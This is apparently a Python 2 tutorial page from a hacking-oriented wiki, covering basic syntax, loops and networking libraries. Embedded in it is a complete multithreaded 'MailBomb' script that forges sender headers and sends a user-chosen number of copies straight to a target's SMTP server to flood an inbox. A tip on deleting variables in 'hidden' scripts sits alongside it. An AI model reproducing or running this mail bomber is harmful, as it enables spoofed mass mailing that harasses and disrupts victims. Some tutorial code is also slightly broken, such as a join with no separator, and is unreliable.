Python
Below applies to Python 2.6 or lower, Python 3 is a good bit different. Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({..}). Note: that most *nix distributions come with Python by default.
Basic python syntax
>>> print "HELLO WORLD!"
HELLO WORLD!
Variable names DO NOT need to begin with a special character, unlike PHP. Variable names CAN, however, be any combination, as long as the word isn't reserved (Ex: and, or, print), of letters and numbers. >>> #Numbers >>> a = 1 #Declare A as 1 >>> b = a+5 #b becomes 6, while a remains 1 >>> a += 5 #a is overwritten, and becomes 6 >>> c = b = a #c and b are overwritten and become 6 >>> #Strings >>> a = "Hello " >>> b = "There" >>> c = a+b #JOIN STRINGS >>> a = "Blue Yellow Green Red".split(" ") #Split the string at every " " >>> a #Output 'a' to the screen, same as print or print() ['Blue', 'Yellow', 'Green', 'Red'] #List object, another type of variable >>> .join(a) #Join all the list objects as one 'BlueYellowGreenRed' >>> a = 'Blue Green Yellow Red'[0:4] #This returns the sub-string 'Blue' >>> a = 'Blue Green Yellow Red'[5:] #This returns the sub-string 'Green Yellow Red' >>> a = 'a = 'Blue Green Yellow Red'[::2] #This returns the sub-string Bu re elwRd' >>> #Float >>> a = 88.2 >>> b = 88 >>> print a/25 3.528 >>> print b/25 3 >>> #Other types >>> a = (" ", 355, 256.7, ["Hello", "World"]) >>> type(a) <type 'tuple'> >>> a = {"Hello":"World", "Key":"Value"} >>> type(a) <type 'dict'> >>> a = "Anhero" >>> del a #Its a good idea, if you're making a 'hidden' script, to delete variables after you use them...
< Less than > Greater than == Equal to != Not equal is Identical is not Not identical <= Less than or equal to >= Greater than or equal to
>>> a = 1
>>> b = 2
>>> if a != b:
print "No!"
No!
>>> a = 1
>>> b = 1
>>> if a == b:
print "Yes!"
Yes!
>>> a = 1
>>> b = 5
>>> if (a == b-len("....")/1) and "a" == "a" or "b" == "b":
print "Yes!"
Yes!
>>> a = 1
>>> while a < 5: #Note, replacing '<' with '<=' allows it to reach 5, instead of stopping at 4
print a
a += 1;
1
2
3
4
>>> a = False;
>>> while a == False:
print "False"
a = True;
False
>>> for x in range(0, 10):
print x
0
1
2
3
4
5
6
7
8
9
consider using xrange when dealing with larger lists, as it creates an iterator, rather than constructing the full list in memory >>> for x in ['Hello', 'world', ',this', 'is', 'a', 'list']: print x
Hello
world
,this
is
a
list
#CREATED BY: DUMP
#MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE.
#INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS
import socket, datetime, time, threading;
class MailGen():
def Engine(self, To, From, Subject, Data):
self.lf = "\r\n";
return "From: \""+From.split("@")[0]+"\" <"+From+">"+self.lf+"Return-Path: "+From+self.lf+"Sender: "+From+self.lf+"Recieved: "+From.split("@") [1].capitalize()+":25"+self.lf+"To: \""+To.split("@")[0]+"\" <"+To+">"+self.lf+"Subject: "+Subject+self.lf+"Date: "+datetime.datetime.now().strftime("%a, %d %d %Y %H:%S")+self.lf+self.lf+Data
class MailBomb(threading.Thread):
def __init__(self, To, From, Data):
self.To = To;
self.From = From;
self.Data = Data;
threading.Thread.__init__ ( self )
def run(self):
print "THREAD LAUNCHED";
self.lf = "\r\n";
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
self.connection.connect((self.To[self.To.index("@")+1:len(self.To)], 25));
self.connection.send("HELO"+self.lf); self.connection.recv(1024);
self.connection.send("MAIL FROM: "+self.From+self.lf); self.connection.recv(1024);
self.connection.send("RCPT TO: "+self.To+self.lf); self.connection.recv(1024);
self.connection.send("DATA"+self.lf); self.connection.recv(1024);
for line in self.Data: self.connection.send(line);
self.connection.send(self.lf+self.lf+"."+self.lf); self.connection.recv(1024);
self.connection.send("QUIT"+self.lf); self.connection.close();
address1 = raw_input("To E-mail: ");
address2 = raw_input("From E-mail: ");
data1 = raw_input("Subject: ");
data2 = raw_input("Data: ");
generator = MailGen();
message = generator.Engine(address1, address2, data1, data2);
multiply = int(raw_input("Amount Sent (0, 5, 10...): "));
lists = [address1]*multiply;
for a in range(0, multiply, 5):
for b in range(a, a+5):
MailBomb(lists[b], address2, message).start();
time.sleep(.50);
Scapy is a powerful, low-level, networking tool
fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols.
Twisted is an event-driven networking engine written in Python and licensed under the MIT license.
Tornado is an open source version of the scalable, non-blocking web server and tools that power FriendFeed. The FriendFeed application is written using a web framework that looks a bit like web.py or Google's webapp, but with additional tools and optimizations to take advantage of the underlying non-blocking infrastructure.